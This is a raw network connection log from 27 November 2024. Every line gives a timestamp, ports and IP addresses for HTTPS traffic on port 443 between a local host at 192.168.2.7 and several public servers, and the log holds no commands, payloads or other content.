Nov 27, 2024 17:58:46.349157095 CET	49796	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:46.354656935 CET	49782	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:46.354676962 CET	443	49782	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:46.354690075 CET	49782	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:46.354696035 CET	443	49782	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:46.355285883 CET	49796	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:46.355285883 CET	49796	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:46.355298996 CET	443	49796	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:46.355308056 CET	443	49796	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:46.361299038 CET	49825	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:46.361347914 CET	443	49825	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:46.361411095 CET	49825	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:46.361644030 CET	49825	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:46.361664057 CET	443	49825	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:46.369337082 CET	49826	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:46.369383097 CET	443	49826	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:46.369441986 CET	49826	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:46.369693041 CET	49826	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:46.369709969 CET	443	49826	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:46.560966015 CET	49783	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:46.561089993 CET	443	49783	94.245.104.56	192.168.2.7
Nov 27, 2024 17:58:46.561151981 CET	49783	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:46.562280893 CET	49802	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.562360048 CET	49812	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.563395977 CET	49820	443	192.168.2.7	18.161.69.30
Nov 27, 2024 17:58:46.567585945 CET	49832	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.567610025 CET	443	49832	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.567670107 CET	49832	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.567908049 CET	49833	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.567922115 CET	443	49833	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.567969084 CET	49833	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.568351984 CET	49801	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:46.568648100 CET	49811	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:46.568892956 CET	49836	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:46.568903923 CET	443	49836	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:46.568948030 CET	49836	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:46.569153070 CET	49837	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:46.569161892 CET	443	49837	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:46.569204092 CET	49837	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:46.569351912 CET	49803	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.569416046 CET	49804	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.569456100 CET	49810	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.569613934 CET	49839	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.569648027 CET	443	49839	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.569691896 CET	49839	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.569751024 CET	49840	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.569760084 CET	443	49840	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.569802046 CET	49840	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.570563078 CET	49832	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.570573092 CET	443	49832	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.570686102 CET	49833	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.570699930 CET	443	49833	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.571147919 CET	49836	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:46.571158886 CET	443	49836	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:46.571415901 CET	49837	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:46.571425915 CET	443	49837	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:46.571544886 CET	49839	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.571566105 CET	443	49839	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.571693897 CET	49840	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.571706057 CET	443	49840	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.603379011 CET	443	49812	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.607346058 CET	443	49802	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.607342005 CET	443	49820	18.161.69.30	192.168.2.7
Nov 27, 2024 17:58:46.611335039 CET	443	49811	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:46.615325928 CET	443	49804	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.615325928 CET	443	49810	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.615339994 CET	443	49803	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.615345955 CET	443	49801	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:46.642369032 CET	443	49801	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:46.642458916 CET	49801	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:46.744982004 CET	443	49793	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:46.745112896 CET	443	49793	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:46.745747089 CET	49793	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:46.746021032 CET	49793	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:46.746032953 CET	443	49793	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:46.746262074 CET	49793	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:46.746270895 CET	443	49793	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:46.796971083 CET	49841	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:46.797018051 CET	443	49841	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:46.797105074 CET	49841	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:46.797591925 CET	49841	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:46.797601938 CET	443	49841	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:46.841038942 CET	49842	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:46.841088057 CET	443	49842	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:46.841187000 CET	49842	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:46.841526031 CET	49842	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:46.841540098 CET	443	49842	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:46.922432899 CET	443	49802	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.922558069 CET	443	49802	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.922559023 CET	49802	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.922646046 CET	49802	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:47.204788923 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.208808899 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.209064960 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.209079027 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.301322937 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.398866892 CET	49843	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:47.398914099 CET	443	49843	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:47.399051905 CET	49843	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:47.399259090 CET	49843	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:47.399276972 CET	443	49843	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:47.430794954 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.441440105 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.441472054 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.441597939 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.441607952 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.441860914 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.442544937 CET	49844	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:47.442580938 CET	443	49844	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:47.442671061 CET	49844	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:47.442919016 CET	49844	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:47.442930937 CET	443	49844	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:47.449853897 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.458045006 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.458482027 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.458489895 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.467195988 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.467252016 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.467257023 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.474898100 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.475012064 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.475018024 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.483374119 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.483464003 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.483469963 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.500113964 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.500190973 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.500227928 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.500233889 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.500361919 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.508645058 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.531567097 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:47.531610966 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:47.531685114 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:47.531929970 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:47.531940937 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:47.536041975 CET	443	49803	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:47.536160946 CET	443	49803	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:47.536216974 CET	49803	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:47.536216974 CET	49803	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:47.543045044 CET	443	49804	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:47.543158054 CET	443	49804	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:47.543232918 CET	49804	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:47.543232918 CET	49804	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:47.571229935 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.571238995 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.598663092 CET	49846	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:47.598704100 CET	443	49846	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:47.598988056 CET	49846	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:47.598989010 CET	49846	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:47.599021912 CET	443	49846	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:47.638349056 CET	443	49810	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:47.638468027 CET	443	49810	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:47.638521910 CET	49810	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:47.638521910 CET	49810	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:47.641819954 CET	443	49811	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:47.641917944 CET	443	49811	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:47.641948938 CET	49811	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:47.641984940 CET	49811	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:47.643033028 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.643136024 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.643143892 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.647778034 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.648045063 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.648050070 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.662832975 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.662898064 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.663414001 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.663422108 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.663536072 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.670214891 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.677683115 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.677766085 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.677901983 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.677910089 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.677994967 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.685286999 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.692991018 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.697040081 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.697048903 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.700368881 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.703370094 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.703403950 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.704287052 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.704452038 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.704457998 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.712197065 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.712313890 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.712316990 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.712327957 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.712407112 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.716326952 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.720256090 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.720293045 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.720367908 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.720374107 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.720865965 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.724457979 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.728228092 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.728408098 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.728416920 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.732301950 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.732445955 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.732455969 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.736263990 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.736592054 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.736601114 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.740365028 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.740470886 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.740479946 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.762562037 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.762593031 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.762761116 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.762772083 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.763094902 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.766577959 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.779964924 CET	443	49812	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:47.780045033 CET	49812	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:47.851244926 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.851349115 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.851367950 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.857036114 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.857105017 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.857124090 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.857141972 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.857620001 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.861006021 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.864545107 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.864604950 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.864661932 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.864681005 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.864782095 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.868236065 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.871812105 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.872167110 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.872175932 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.875390053 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.875653982 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.875663996 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.878959894 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.879045010 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.879054070 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.882512093 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.882921934 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.882934093 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.889539957 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.889624119 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.889662981 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.889678001 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.889854908 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.891657114 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.893810034 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.893928051 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.893965006 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.893978119 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.894253016 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.895802021 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.897836924 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.898019075 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.898032904 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.899944067 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.900042057 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.900057077 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.901865005 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.902007103 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.902020931 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.906019926 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.906080008 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.906102896 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.906126022 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.906701088 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.907960892 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.909967899 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.910010099 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.910136938 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.910154104 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.910391092 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.911977053 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.913991928 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.914093018 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.914107084 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.916112900 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.916193008 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:47.916487932 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.916487932 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:47.981014967 CET	443	49833	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:47.982249975 CET	49833	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:47.982265949 CET	443	49833	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:47.983428001 CET	443	49833	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:47.983545065 CET	49833	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:47.985591888 CET	49833	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:47.985708952 CET	443	49833	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:47.985969067 CET	49833	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.019068003 CET	443	49832	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.020344973 CET	49832	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.020370007 CET	443	49832	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.020790100 CET	443	49840	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.021172047 CET	49840	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.021188974 CET	443	49840	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.021435976 CET	443	49832	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.021692991 CET	49832	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.022907972 CET	443	49840	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.023045063 CET	49840	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.024897099 CET	443	49836	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.024966002 CET	443	49837	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.027331114 CET	443	49833	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.029895067 CET	49832	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.029990911 CET	443	49832	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.031239986 CET	49840	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.031357050 CET	443	49840	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.031574965 CET	49837	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.031589031 CET	443	49837	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.031864882 CET	49836	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.031877041 CET	443	49836	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.032324076 CET	49832	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.032335043 CET	443	49832	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.032733917 CET	443	49837	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.032854080 CET	49837	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.032979012 CET	49840	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.032999039 CET	443	49840	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.033257008 CET	443	49836	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.033370018 CET	49836	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.034075022 CET	49837	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.034172058 CET	443	49837	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.035912037 CET	49836	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.035976887 CET	443	49836	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.036751032 CET	49837	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.036760092 CET	443	49837	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.036783934 CET	49836	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.036794901 CET	443	49836	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.065951109 CET	443	49839	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.067441940 CET	49839	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.067461967 CET	443	49839	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.068608046 CET	443	49839	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.068707943 CET	49839	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.069792032 CET	49839	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.069853067 CET	443	49839	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.080121994 CET	49839	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.080137968 CET	443	49839	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.084594965 CET	443	49806	13.107.246.63	192.168.2.7
